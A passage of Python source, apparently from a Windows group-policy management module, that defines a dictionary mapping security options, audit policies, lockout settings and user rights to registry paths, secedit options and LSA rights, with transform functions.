                        'Policy': 'Microsoft network client: Digitally sign '
                                  'communications (always)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'RequireSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Client_EnableSecuritySignature': {
                        'Policy': 'Microsoft network client: Digitally sign '
                                  'communications (if server agrees)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'EnableSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnablePlainTextPassword': {
                        'Policy': 'Microsoft network client: Send unencrypted '
                                  'password to third-party SMB servers',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'EnablePlainTextPassword',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AutoDisconnect': {
                        'Policy': 'Microsoft network server: Amount of idle '
                                  'time required before suspending session',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 99999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'AutoDisconnect',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'EnableS4U2SelfForClaims': {
                        'Policy': 'Microsoft network server: Attempt S4U2Self '
                                  'to obtain claim information',
                        'Settings': self.s4u2self_options.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableS4U2SelfForClaims',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.s4u2self_options,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.s4u2self_options,
                                'value_lookup': True,
                            },
                        },
                    },
                    'Server_RequireSecuritySignature': {
                        'Policy': 'Microsoft network server: Digitally sign '
                                  'communications (always)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'RequireSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Server_EnableSecuritySignature': {
                        'Policy': 'Microsoft network server: Digitally sign '
                                  'communications (if client agrees)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableForcedLogoff': {
                        'Policy': 'Microsoft network server: Disconnect '
                                  'clients when logon hours expire',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableForcedLogoff',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'SmbServerNameHardeningLevel': {
                        'Policy': 'Microsoft network server: Server SPN target '
                                  'name validation level',
                        'Settings': self.smb_server_name_hardening_levels.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'SmbServerNameHardeningLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.smb_server_name_hardening_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.smb_server_name_hardening_levels,
                                'value_lookup': True,
                            },
                        }
                    },
                    'FullPrivilegeAuditing': {
                        'Policy': 'Audit: Audit the use of Backup and Restore '
                                  'privilege',
                        'Settings': [chr(0), chr(1)],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'FullPrivilegeAuditing',
                            'Type': 'REG_BINARY',
                        },
                        'Transform': {
                            'Get': '_binary_enable_zero_disable_one_conversion',
                            'Put': '_binary_enable_zero_disable_one_reverse_conversion',
                        },
                    },
                    'CrashOnAuditFail': {
                        'Policy': 'Audit: Shut down system immediately if '
                                  'unable to log security audits',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'CrashOnAuditFail',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'UndockWithoutLogon': {
                        'Policy': 'Devices: Allow undock without having to log '
                                  'on',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'UndockWithoutLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AllocateDASD': {
                        'Policy': 'Devices: Allowed to format and eject '
                                  'removable media',
                        'Settings': ['9999', '0', '1', '2'],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateDASD',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Get': '_dasd_conversion',
                            'Put': '_dasd_reverse_conversion',
                        },
                    },
                    'AllocateCDRoms': {
                        'Policy': 'Devices: Restrict CD-ROM access to locally '
                                  'logged-on user only',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateCDRoms',
                            'Type': 'REG_SZ',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'AllocateFloppies': {
                        'Policy': 'Devices: Restrict floppy access to locally '
                                  'logged-on user only',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateFloppies',
                            'Type': 'REG_SZ',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    # see KB298503 why we aren't just doing this one via the
                    # registry
                    'DriverSigningPolicy': {
                        'Policy': 'Devices: Unsigned driver installation '
                                  'behavior',
                        'Settings': ['3,0', '3,' + chr(1), '3,' + chr(2)],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'MACHINE\\Software\\Microsoft\\Driver '
                                      'Signing\\Policy',
                            'Section': 'Registry Values',
                        },
                        'Transform': {
                            'Get': '_driver_signing_reg_conversion',
                            'Put': '_driver_signing_reg_reverse_conversion',
                        },
                    },
                    'SubmitControl': {
                        'Policy': 'Domain controller: Allow server operators '
                                  'to schedule tasks',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'SubmitControl',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'LDAPServerIntegrity': {
                        'Policy': 'Domain controller: LDAP server signing '
                                  'requirements',
                        'Settings': self.ldap_server_signing_requirements.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\NTDS'
                                    '\\Parameters',
                            'Value': 'LDAPServerIntegrity',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ldap_server_signing_requirements,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ldap_server_signing_requirements,
                                'value_lookup': True,
                            },
                        }
                    },
                    'RefusePasswordChange': {
                        'Policy': 'Domain controller: Refuse machine account '
                                  'password changes',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RefusePasswordChange',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'RequireSignOrSeal': {
                        'Policy': 'Domain member: Digitally encrypt or sign '
                                  'secure channel data (always)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RequireSignOrSeal',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'SealSecureChannel': {
                        'Policy': 'Domain member: Digitally encrypt secure '
                                  'channel data (when possible)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'SealSecureChannel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'SignSecureChannel': {
                        'Policy': 'Domain member: Digitally sign secure '
                                  'channel data (when possible)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'SignSecureChannel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'DisablePasswordChange': {
                        'Policy': 'Domain member: Disable machine account '
                                  'password changes',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'DisablePasswordChange',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'MaximumPasswordAge': {
                        'Policy': 'Domain member: Maximum machine account '
                                  'password age',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'MaximumPasswordAge',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'RequireStrongKey': {
                        'Policy': 'Domain member: Require strong (Windows 2000 '
                                  'or later) session key',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RequireStrongKey',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'LockoutDuration': {
                        'Policy': 'Account lockout duration',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 6000000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_duration',
                        },
                        'Transform': {
                            'Get': '_seconds_to_minutes',
                            'Put': '_minutes_to_seconds',
                        },
                    },
                    'LockoutThreshold': {
                        'Policy': 'Account lockout threshold',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 1000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_threshold',
                        }
                    },
                    'LockoutWindow': {
                        'Policy': 'Reset account lockout counter after',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 6000000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_observation_window',
                        },
                        'Transform': {
                            'Get': '_seconds_to_minutes',
                            'Put': '_minutes_to_seconds'
                        },
                    },
                    'AuditAccountLogon': {
                        'Policy': 'Audit account logon events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditAccountLogon',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditAccountManage': {
                        'Policy': 'Audit account management',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditAccountManage',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditDSAccess': {
                        'Policy': 'Audit directory service access',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditDSAccess',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditLogonEvents': {
                        'Policy': 'Audit logon events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditLogonEvents',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditObjectAccess': {
                        'Policy': 'Audit object access',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditObjectAccess',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditPolicyChange': {
                        'Policy': 'Audit policy change',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditPolicyChange',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditPrivilegeUse': {
                        'Policy': 'Audit privilege use',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditPrivilegeUse',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditProcessTracking': {
                        'Policy': 'Audit process tracking',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditProcessTracking',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditSystemEvents': {
                        'Policy': 'Audit system events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditSystemEvents',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'SeTrustedCredManAccessPrivilege': {
                        'Policy': 'Access Credential Manager as a trusted '
                                  'caller',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTrustedCredManAccessPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeNetworkLogonRight': {
                        'Policy': 'Access this computer from the network',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeNetworkLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTcbPrivilege': {
                        'Policy': 'Act as part of the operating system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTcbPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeMachineAccountPrivilege': {
                        'Policy': 'Add workstations to domain',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeMachineAccountPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseQuotaPrivilege': {
                        'Policy': 'Adjust memory quotas for a process',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseQuotaPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeInteractiveLogonRight': {
                        'Policy': 'Allow log on locally',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRemoteInteractiveLogonRight': {
                        'Policy': 'Allow log on through Remote Desktop Services',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRemoteInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeBackupPrivilege': {
                        'Policy': 'Backup files and directories',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeBackupPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeChangeNotifyPrivilege': {
                        'Policy': 'Bypass traverse checking',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeChangeNotifyPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemtimePrivilege': {
                        'Policy': 'Change the system time',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemtimePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTimeZonePrivilege': {
                        'Policy': 'Change the time zone',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTimeZonePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreatePagefilePrivilege': {
                        'Policy': 'Create a pagefile',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreatePagefilePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateTokenPrivilege': {
                        'Policy': 'Create a token object',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateTokenPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateGlobalPrivilege': {
                        'Policy': 'Create global objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateGlobalPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreatePermanentPrivilege': {
                        'Policy': 'Create permanent shared objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreatePermanentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateSymbolicLinkPrivilege': {
                        'Policy': 'Create symbolic links',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateSymbolicLinkPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDebugPrivilege': {
                        'Policy': 'Debug programs',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDebugPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyNetworkLogonRight': {
                        'Policy': 'Deny access to this computer from the '
                                  'network',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyNetworkLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyBatchLogonRight': {
                        'Policy': 'Deny log on as a batch job',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyBatchLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyServiceLogonRight': {
                        'Policy': 'Deny log on as a service',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyServiceLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyInteractiveLogonRight': {
                        'Policy': 'Deny log on locally',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyRemoteInteractiveLogonRight': {
                        'Policy': 'Deny log on through Remote Desktop Services',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyRemoteInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeEnableDelegationPrivilege': {
                        'Policy': 'Enable computer and user accounts to be '
                                  'trusted for delegation',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeEnableDelegationPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRemoteShutdownPrivilege': {
                        'Policy': 'Force shutdown from a remote system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRemoteShutdownPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeAuditPrivilege': {
                        'Policy': 'Generate security audits',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeAuditPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeImpersonatePrivilege': {
                        'Policy': 'Impersonate a client after authentication',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeImpersonatePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseWorkingSetPrivilege': {
                        'Policy': 'Increase a process working set',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseWorkingSetPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseBasePriorityPrivilege': {
                        'Policy': 'Increase scheduling priority',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseBasePriorityPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeLoadDriverPrivilege': {
                        'Policy': 'Load and unload device drivers',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeLoadDriverPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeLockMemoryPrivilege': {
                        'Policy': 'Lock pages in memory',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeLockMemoryPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeBatchLogonRight': {
                        'Policy': 'Log on as a batch job',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeBatchLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeServiceLogonRight': {
                        'Policy': 'Log on as a service',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeServiceLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSecurityPrivilege': {
                        'Policy': 'Manage auditing and security log',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSecurityPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRelabelPrivilege': {
                        'Policy': 'Modify an object label',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRelabelPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemEnvironmentPrivilege': {
                        'Policy': 'Modify firmware environment values',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemEnvironmentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeManageVolumePrivilege': {
                        'Policy': 'Perform volume maintenance tasks',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeManageVolumePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeProfileSingleProcessPrivilege': {
                        'Policy': 'Profile single process',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeProfileSingleProcessPrivilege'
                        },
                        'Transform': {
